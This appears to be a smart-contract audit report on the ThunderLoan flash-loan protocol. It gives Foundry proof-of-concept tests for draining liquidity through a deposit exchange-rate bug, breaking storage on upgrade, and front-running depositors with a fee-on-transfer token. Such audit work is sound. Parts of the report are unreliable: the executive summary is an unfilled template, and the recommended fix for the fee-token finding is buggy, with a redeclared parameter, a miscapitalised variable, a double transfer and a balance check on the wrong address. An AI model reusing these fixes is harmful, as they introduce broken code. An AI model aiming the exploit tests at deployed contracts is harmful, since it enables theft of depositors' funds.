



ThunderLoan Audit Report

Version 1.0

BilokinTaras

November 12, 2025

ThunderLoan Audit Report

BilokinTaras

Nov 12, 2025

Prepared by: BilokinTaras Lead Auditors: - BilokinTaras

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
- Findings
 - High
 - * [H-1] Unnecessary updateExchangeRate in deposit function incorrectly updates exchangeRate preventing withdraws and unfairly changing reward distribution
 - * [H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
 - * Medium
 - * [M-1] Centralization risk for trusted owners
 - Impact:
 - Centralized owners can brick redemptions by disapproving of a specific token

- * [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
 - * [M-3] `ThunderLoan::deposit` is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Loses there deposit and yield
- Low
 - * [L-1] `getCalculatedFee` can be 0
 - * [L-2] `updateFlashLoanFee()` missing event
 - * [L-3] Mathematic Operations Handled Without Precision in `getCalculatedFee()` Function in `ThunderLoan.sol`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

- Give users a way to create flash loans
- Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled. Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle. We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract.

Disclaimer

The BilokinTaras team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

- High: 2

- Medium: 3
- Low: 3

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
1 #-- interfaces
2 |   #-- IFlashLoanReceiver.sol
3 |   #-- IPoolFactory.sol
4 |   #-- ITSwapPool.sol
5 |   #-- IThunderLoan.sol
6 #-- protocol
7 |   #-- AssetToken.sol
8 |   #-- OracleUpgradeable.sol
9 |   #-- ThunderLoan.sol
10 #-- upgradedProtocol
11     #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC
 - DAI
 - LINK
 - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Add some notes about how the audit went, types of things you found, etc.

We spent X hours with Z auditors using Y tools. etc

Findings

High

[H-1] Unnecessary updateExchangeRate in deposit function incorrectly updates exchangeRate preventing withdraws and unfairly changing reward distribution

Description: Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner.

Impact: Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds than they deposited without any flash loans being taken at all.

Proof of Concept:

```
1 function testExchangeRateUpdatedOnDeposit() public setAllowedToken {  
2     tokenA.mint(liquidityProvider, AMOUNT);  
3     tokenA.mint(user, AMOUNT);  
4  
5     // deposit some tokenA into ThunderLoan  
6     vm.startPrank(liquidityProvider);  
7     tokenA.approve(address(thunderLoan), AMOUNT);  
8     thunderLoan.deposit(tokenA, AMOUNT);  
9     vm.stopPrank();  
10  
11    // another user also makes a deposit  
12    vm.startPrank(user);  
13    tokenA.approve(address(thunderLoan), AMOUNT);  
14    thunderLoan.deposit(tokenA, AMOUNT);  
15    vm.stopPrank();  
16  
17    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);  
18  
19    // after a deposit, asset token's exchange rate has already  
     increased
```

```

20     // this is only supposed to happen when users take flash loans with
21     // underlying
22     assertGt(assetToken.getExchangeRate(), 1 * assetToken.
23             EXCHANGE_RATE_PRECISION());
24
25     // now liquidityProvider withdraws and gets more back because
26     // exchange
27     // rate is increased but no flash loans were taken out yet
28     // repeatedly doing this could drain all underlying for any asset
29     // token
30     vm.startPrank(liquidityProvider);
31     thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider))
32         ;
33     vm.stopPrank();
34
35     assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT);
36 }
```

Recommended Mitigation: It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation.

```

1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
6         / exchangeRate;
7     emit Deposit(msg.sender, token, amount);
8     assetToken.mint(msg.sender, mintAmount);
9     - uint256 calculatedFee = getCalculatedFee(token, amount);
10    - assetToken.updateExchangeRate(calculatedFee);
11    token.safeTransferFrom(msg.sender, address(assetToken), amount);
12 }
```

[H-2] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```

1     uint256 private s_feePrecision; // @audit-info this should be
2         constant/immutable
3     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```

1     uint256 private s_flashLoanFee; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

POC

Place the following into `ThunderLoanTest.t.sol`

```

1  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
2    ThunderLoanUpgraded.sol";
3  function testUpgradeBreaks() public {
4      uint256 feeBeforeUpgrade = thunderLoan.getFee();
5      vm.startPrank(thunderLoan.owner());
6      ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
7      thunderLoan.upgradeToAndCall(address(upgraded), "");
8      uint256 feeAfterUpgrade = thunderLoan.getFee();
9      vm.stopPrank();
10
11     console2.log("Fee Before: ", feeBeforeUpgrade);
12     console2.log("Fee Before: ", feeAfterUpgrade);
13     assert(feeBeforeUpgrade != feeAfterUpgrade);
14 }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```

1 -   uint256 private s_flashLoanFee; // 0.3% ETH fee
2 -   uint256 public constant FEE_PRECISION = 1e18;
3 +   uint256 private s_blank;
4 +   uint256 private s_flashLoanFee; // 0.3% ETH fee
5 +   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
4
5 261:     function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

Centralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
 1. User sells 1000 `tokenA`, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
 1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1 function getPriceInWeth(address token) public view returns (
    uint256) {
```

```

2     address swapPoolOfToken = IPoolFactory(s_poolFactory) .
3     getPool(token);
4     @>      return ITSwapPool(swapPoolOfToken) .
5     getPriceOfOnePoolTokenInWeth();
6   }

```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my [audit-data](#) folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-3] ThunderLoan:: deposit is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Loses there deposit and yield

Description: `deposit` function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset than it's supposed to be.

Impact: Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.

`Deposit` function mint the tokens that user has inputted in the params and mint the same amount of Asset token.

```

1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
2    amount) revertIfNotAllowedToken(token) {
3    AssetToken assetToken = s_tokenToAssetToken[token];
4    uint256 exchangeRate = assetToken.getExchangeRate();
5    @>  uint256 mintAmount = (amount * assetToken.
6      EXCHANGE_RATE_PRECISION()) / exchangeRate;
7    emit Deposit(msg.sender, token, amount);
8    assetToken.mint(msg.sender, mintAmount);
9    uint256 calculatedFee = getCalculatedFee(token, amount);
10   assetToken.updateExchangeRate(calculatedFee);
11   token.safeTransferFrom(msg.sender, address(assetToken), amount)
12   ;
13 }

```

As you can see in highlighted line, It calculates the token amount based on `amount` rather actual token amount received by the contract. If any fees token is supplied to contract, then `redeem` function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw their underlying token ever.

Proof of Concept:

Token like [STA](#) and [PAXG](#) has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of [STA](#) here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount.

```
1 uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /  
exchangeRate;
```

[Alice](#) initiate a transaction to call [deposit](#) with 1 million [STA](#). [Attacker](#) notice the transaction and [deposit](#) 2 million [STA](#) before him. So contract will be receive 990,000 tokens from [Alice](#) and 198000 tokens from attacker.

Now attacker call withdraw the [STA](#) token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him.

Here is given example in foundry where we set asset token which has 1% fees. in [BaseTest.t.sol](#) we import custom erc20 for underlying token creation which has 1% fees on transfers.

CUSTOM MOCK TOKEN

```
1 // SPDX-License-Identifier: MIT  
2 pragma solidity ^0.8.0;  
3  
4 import {ERC20} from "../token/ERC20/ERC20.sol";  
5  
6 contract CustomERC20Mock is ERC20 {  
7     constructor() ERC20("ERC20Mock", "E20M") {}  
8  
9     function mint(address account, uint256 amount) external {  
10         _mint(account, amount);  
11     }  
12  
13     function burn(address account, uint256 amount) external {  
14         _burn(account, amount);  
15     }  
16  
17     function _transfer(address from, address to, uint256 amount)  
18         internal override {  
19         _burn(from, amount/100);  
20         super._transfer(from, to, amount - (amount/100));  
21     }  
22 }
```

updated [BaseTest.t.sol](#) file

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { Test, console } from "forge-std/Test.sol";
5 import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
6 import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
7 import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
8 import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
9 + import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol";
10 import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
11
12 contract BaseTest is Test {
13     ThunderLoan thunderLoanImplementation;
14     MockPoolFactory mockPoolFactory;
15     ERC1967Proxy proxy;
16     ThunderLoan thunderLoan;
17
18     ERC20Mock weth;
19 -    ERC20Mock tokenA;
20 +    CustomERC20Mock tokenA;
21
22     function setUp() public virtual {
23         thunderLoan = new ThunderLoan();
24         mockPoolFactory = new MockPoolFactory();
25
26         weth = new ERC20Mock();
27 -        tokenA = new ERC20Mock();
28 +        tokenA = new CustomERC20Mock();
29
30         mockPoolFactory.createPool(address(tokenA));
31         proxy = new ERC1967Proxy(address(thunderLoan), "");
32         thunderLoan = ThunderLoan(address(proxy));
33         thunderLoan.initialize(address(mockPoolFactory));
34     }
35 }
```

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { Test, console2 } from "forge-std/Test.sol";
5 import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
6 import { AssetToken } from "../../src/protocol/AssetToken.sol";
7 import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
8
9 contract ThunderLoanTest is BaseTest {
10     uint256 constant ALICE_AMOUNT = 1e7 * 1e18;
11     uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18;
12     address attacker = address(789);
```

```
13     address alice = address(0x123);
14     MockFlashLoanReceiver mockFlashLoanReceiver;
15
16     function setUp() public override {
17         super.setUp();
18         vm.prank(user);
19         mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
20             thunderLoan));
21     }
22
23     function testAttackerGettingMoreTokens() public setAllowedToken {
24         tokenA.mint(attacker, ATTACKER_AMOUNT);
25         tokenA.mint(alice, ALICE_AMOUNT);
26         vm.startPrank(attacker);
27         tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT);
28         /// First deposit in contract by attacker
29         thunderLoan.deposit(tokenA, ATTACKER_AMOUNT);
30         vm.stopPrank();
31         AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
32         uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(
33             address(asset));
34         uint256 difference = ATTACKER_AMOUNT -
35             contractBalanceAfterAttackerDeposit;
36         uint256 attackerAssetTokenBalance = asset.balanceOf(attacker);
37         console2.log(contractBalanceAfterAttackerDeposit, "Contract
38             balance of token A after first deposit");
39         console2.log(attackerAssetTokenBalance, "attacker balance of
40             asset token");
41         console2.log(difference, "difference b/w actual amount and
42             deposited amount");
43
44         vm.startPrank(alice);
45         tokenA.approve(address(thunderLoan), ALICE_AMOUNT);
46         thunderLoan.deposit(tokenA, ALICE_AMOUNT);
47         vm.stopPrank();
48         uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(
49             asset)) - contractBalanceAfterAttackerDeposit;
50         console2.log(ALICE_AMOUNT, "Actual input by alice");
51         console2.log(actualAmountDepositedByUser, "Actual balance
52             Deposited by Alice");
53         console2.log(tokenA.balanceOf(address(asset)), "thunderloan
54             balance of Token A after Alice deposit");
55         console2.log(asset.balanceOf(alice), "Alice Asset Token Balance
56             ");
57
58         vm.startPrank(attacker);
59         thunderLoan.redeem(tokenA, asset.balanceOf(attacker));
60         console2.log(tokenA.balanceOf(attacker), "AttackerBalance"); // how much token he claimed
61         vm.stopPrank();
62     }
```

```

53         /// if alice try to claim her underlying tokens now, tx will
54             fail as contract
55         /// don't have enough funds
56
57         vm.startPrank(alice);
58         uint256 amountToClaim = asset.balanceOf(alice);
59         vm.expectRevert();
60         thunderLoan.redeem(tokenA, amountToClaim);
61         vm.stopPrank();
62
63     }
64 }
```

run the following command in terminal `forge test --match-test testAttackerGettingMoreTokens() -vv` it will return something like this-

```

1  ✘
2  [] Compiling...
3  [] Compiling 1 files with 0.8.20
4  [] Solc 0.8.20 finished in 1.94s
5  Compiler run successful!
6
7  Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
8  [PASS] testAttackerGettingMoreTokens() (gas: 1265386)
9  Logs:
10   19800000000000000000000000000000 Contract balance of token A after first
11     deposit
12   20000000000000000000000000000000 attacker balance of asset token
13   20000000000000000000000000000000 difference b/w actual amount and deposited
14     amount
15   10000000000000000000000000000000 Actual input by alice
16   9900000000000000000000000000000 Actual balance Deposited by Alice
17   29700000000000000000000000000000 thunderloan balance of Token A after Alice
     deposit
18   9970089730807577268195413 Alice Asset Token Balance
19   19879279219760479041600000 AttackerBalance
```

Recommended Mitigation:

Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation.

```

1  uint256 amountBefore = IERC20(token).balanceOf(address(this));
2  token.safeTransferFrom(msg.sender, address(assetToken), amount);
3  uint256 amountAfter = IERC20(token).balanceOf(address(this));
4  uint256 amount = AmountAfter - amountBefore;
```

deposit function can be written like this.

```

1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     + uint256 amountBefore = IERC20(token).balanceOf(address(this));
5     + token.safeTransferFrom(msg.sender, address(assetToken), amount)
6     ;
7     + uint256 amountAfter = IERC20(token).balanceOf(address(this));
8     + uint256 amount = amountAfter - amountBefore;
9     uint256 mintAmount = (amount * assetToken.
10        EXCHANGE_RATE_PRECISION()) / exchangeRate;
11     emit Deposit(msg.sender, token, amount);
12     assetToken.mint(msg.sender, mintAmount);
13     uint256 calculatedFee = getCalculatedFee(token, amount);
14     assetToken.updateExchangeRate(calculatedFee);
15     token.safeTransferFrom(msg.sender, address(assetToken), amount)
16     ;
17 }

```

Low**[L-1] getCalculatedFee can be 0****Summary** getCalculatedFee can be as low as 0**Description** Any value up to 333 for “amount” can result in 0 fee based on calculation

```

1 function testFuzzGetCalculatedFee() public {
2     AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
3
4     uint256 calculatedFee = thunderLoan.getCalculatedFee(
5         tokenA,
6         333
7     );
8
9     assertEq(calculatedFee, 0);
10
11    console.log(calculatedFee);
12 }

```

Impact Low as this amount is really small**Recommendations** A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] updateFlashLoanFee() missing event

Summary ThunderLoan::updateFlashLoanFee() and ThunderLoanUpgraded::updateFlashLoanFee() does not emit an event, so it is difficult to track changes in the value s_flashLoanFee off-chain.

Description

```

1 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2     if (newFee > FEE_PRECISION) {
3         revert ThunderLoan__BadNewFee();
4     }
5     @>     s_flashLoanFee = newFee;
6 }
```

Impact In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a FeeUpdated event, any off-chain service or user interface that needs to know the current s_flashLoanFee would have to actively query the contract state to get the current value. This is less efficient than simply listening for the FeeUpdated event, and it can lead to delays in detecting changes to the s_flashLoanFee.

The impact of this could be significant because the s_flashLoanFee is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Recommendations Emit an event for critical parameter changes.

```

1 + event FeeUpdated(uint256 indexed newFee);
2
3 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
4     if (newFee > s_feePrecision) {
5         revert ThunderLoan__BadNewFee();
6     }
7     s_flashLoanFee = newFee;
8 +     emit FeeUpdated(s_flashLoanFee);
9 }
```

[L-3] Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

Summary

In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee() function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations.

Description

The identified problem revolves around the handling of mathematical operations in the getCalculatedFee() function. The code snippet below is the source of concern:

```
1 uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))
    ) / s_feePrecision;
2 fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Impact

This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Recommendations

To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee() function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.